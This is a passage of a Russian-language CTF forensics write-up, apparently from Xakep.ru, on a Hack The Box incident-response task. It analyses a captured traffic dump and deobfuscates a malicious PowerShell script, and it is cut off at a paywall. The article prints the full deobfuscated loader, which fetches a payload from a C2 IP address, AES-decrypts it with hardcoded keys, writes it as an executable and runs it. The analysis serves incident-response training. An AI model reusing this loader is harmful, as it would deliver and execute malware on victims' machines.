Зак­репле­ние, пос­тэкс­плу­ата­ция и эксфиль­тра­ция — три неотъ­емле­мых эта­па каж­дой ата­ки. В этой статье мы про­ведем рас­сле­дова­ние инци­ден­та: поищем арте­фак­ты, сдам­пим сетевой тра­фик и деоб­фусци­руем най­ден­ный вре­донос­ный код. Таким обра­зом мы вос­ста­новим дей­ствия зло­умыш­ленни­ка и заод­но поз­накомим­ся с популяр­ными тех­никами, которые час­то при­меня­ются «в дикой сре­де».

Эта статья — рай­тап по одно­му из заданий по циф­ровой форен­зике с про­шед­шего в мар­те 2023 года CTF-сорев­нования на Hack The Box. Уро­вень — слож­ный.

На­ше задание зву­чит сле­дующим обра­зом:

«Мы замети­ли необыч­ный тра­фик, исхо­дящий из откры­того кос­моса. Неиз­вес­тная груп­па исполь­зует сер­вер Command and Control. В ходе всес­торон­него рас­сле­дова­ния мы уста­нови­ли, что зараже­но нес­коль­ко компь­юте­ров уче­ных из час­тной лабора­тории Pandora. Можешь узнать, как работа­ет сер­вер, и вер­нуть укра­ден­ное?»

То есть мы зна­ем, что сер­вер был ском­про­мети­рован, и у нас есть тра­фик. Нас про­сят про­ана­лизи­ровать дамп, про­вес­ти рас­сле­дова­ние инци­ден­та и уста­новить, как ата­кующие заг­ружали ути­литы на ском­про­мети­рован­ный сер­вер, какими спо­соба­ми зак­репля­лись и как про­изво­дили эксфиль­тра­цию дан­ных. В конеч­ном сче­те нам нуж­но будет най­ти флаг.

 

Ищем артефакты в сетевом трафике

Пер­вым делом заг­рузим дамп в Wireshark. Нес­ложно уста­новить, что IP ском­про­мети­рован­ного сер­вера при­ват­ный — 192.168.25.140, в то вре­мя как адрес C2-сер­вера ата­кующих пуб­личный — 64.226.84.200. Так­же вид­но, что со ском­про­мети­рован­ного хос­та про­исхо­дит обра­щение к сто­рон­нему ресур­су (C2-сер­веру) с GET-зап­росом по ссыл­ке, которая окан­чива­ется на vn84.ps1. В ответ сер­вер отда­ет сце­нарий на PowerShell.

GET-запрос со скомпрометированного хоста для загрузки vn84.ps1
GET-зап­рос со ском­про­мети­рован­ного хос­та для заг­рузки vn84.ps1

Тра­фик переда­ется по HTTP, то есть без шиф­рования. Это зна­чит, что мы можем экспор­тировать передан­ные объ­екты из дам­па и под­робно их изу­чить, что­бы вос­ста­новить ход ата­ки, а так­же опре­делить, какие методы и ути­литы исполь­зовали ата­кующие. Для это­го в меню выбира­ем «Файл → Экспор­тировать объ­екты → HTTP». Жмем «Сох­ранить все» и зада­ем конеч­ную дирек­торию.

Экспортированные из дампа трафика объекты
Эк­спор­тирован­ные из дам­па тра­фика объ­екты
 

Изучаем артефакты

В гла­за сра­зу бро­сает­ся экспор­тирован­ный сце­нарий PowerShell, одна­ко, что­бы получить пол­ную кар­тину, нуж­но опре­делить, с арте­фак­тами какого фор­мата нам пред­сто­ит работать. Поэто­му не будем бро­сать­ся изу­чать най­ден­ные скрип­ты, а пер­вым делом пос­мотрим, что за фор­мат у осталь­ных экспор­тирован­ных фай­лов. Для это­го вос­поль­зуем­ся ути­литой file и коман­дле­том Get-ChildItem. Обой­дем все фай­лы в цик­ле:

foreach ($file in (Get-ChildItem $_.Name))
Формат экспортированных файлов
Фор­мат экспор­тирован­ных фай­лов

За­пишем получен­ный мас­сив в перемен­ную $fileformat, а в новом цик­ле пере­име­нуем фай­лы с рас­ширени­ем PNG, что­бы пос­мотреть, что внут­ри.

foreach ($format in $fileformat) }

Ин­терес­ного в самих кар­тинках мало (это изоб­ражения собак в низ­ком раз­решении), одна­ко вни­мание прив­лека­ет файл %3fdVfhJmc2ciKvPOC(23).png, пос­коль­ку его раз­мер боль­ше дру­гих — 827 Кбайт. Похоже, помимо кар­тинки, в нем есть что‑то еще. Возь­мем этот факт на замет­ку и будем дви­гать­ся даль­ше. Пог­лядим, что в дру­гих фай­лах.

Полученные PNG
По­лучен­ные PNG

Фай­лы раз­мером око­ло 1 Кбайт — отве­ты сер­вера на зап­росы («200 OK» и дру­гие коды), и инте­реса такие дан­ные для нас не пред­став­ляют. Осталь­ные фай­лы име­ют малораз­личимое содер­жимое, их пока оста­вим, а вот экспор­тирован­ный сце­нарий PowerShell впол­не читабель­ный, хоть и нем­ного обфусци­рован. Поп­робу­ем разоб­рать­ся, что про­исхо­дит в коде.

Изу­чая vn84.ps1, мож­но уви­деть обфусци­рован­ные коман­дле­ты.

Обфусцированное содержимое vn84.ps1
Об­фусци­рован­ное содер­жимое vn84.ps1

Здесь ата­кующие исполь­зуют обфуска­цию строк, под­робнее об этой и дру­гих тех­никах мож­но узнать из док­лада на Black Hat 2017 (PDF).

Для деоб­фуска­ции мож­но пой­ти нес­коль­кими путями: вос­поль­зовать­ся инс­тру­мен­том PSDecode, исполь­зовать жур­нал Windows при вклю­чен­ном ауди­те сце­нари­ев PowerShell, ну или поп­росить разоб­рать­ся ChatGPT, который тоже уме­ет деоб­фусци­ровать, хоть иног­да и меня­ет исходный код на свое усмотре­ние.

Я вос­поль­зуюсь PSDecode. Пос­ле деоб­фуска­ции получа­ем исходный сце­нарий (некото­рые стро­ки я под­пра­вил вруч­ную):

Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))
Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))
Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))
$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'
$PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $path
Invoke-WebRequest -Uri $Url -OutFile $PTF
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte
& "$env:temp\tmp7102591.exe"

Ста­новит­ся понят­нее. Если корот­ко: PowerShell-скрипт здесь при помощи сис­темной служ­бы Windows BitsTransfer (T1197 по мат­рице ATT&CK) переда­ет дан­ные с C2-сер­вера. Они заг­ружа­ются на ском­про­мети­рован­ный хост, пос­ле чего рас­шифро­выва­ются по алго­рит­му AES-CBC-128. Для рас­шифров­ки AES c CBC-mode необ­ходимы ключ и век­тор ини­циали­зации, они как раз и ука­заны в сце­нарии.

Рас­шифро­ван­ные бай­ты записы­вают­ся в исполня­емый файл $env:temp\tmp7102591.exe, а затем этот файл запус­кает­ся. Наша пер­вооче­ред­ная цель — рас­шифро­вать дан­ные и записать их в исполня­емый файл для даль­нейше­го изу­чения. Это поможет узнать, что про­исхо­дило на эта­пе зак­репле­ния.

Для дешиф­ровки можем вос­поль­зовать­ся тем же сце­нари­ем или инс­тру­мен­том CyberChef (но это более тру­доем­кий спо­соб).

Из зна­чения перемен­ной $Url в сце­нарии сле­дует, что рас­шифро­вывать нуж­но поток бай­тов в дам­пе тра­фика с име­нем 94974f08-5853-41ab-938a-ae1bd86d8e51.

info

Что­бы убе­дить­ся, что работа ведет­ся с вер­ным пакетом, номер пакета мож­но сопос­тавить с номером экспор­тиру­емо­го объ­екта Wireshark.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии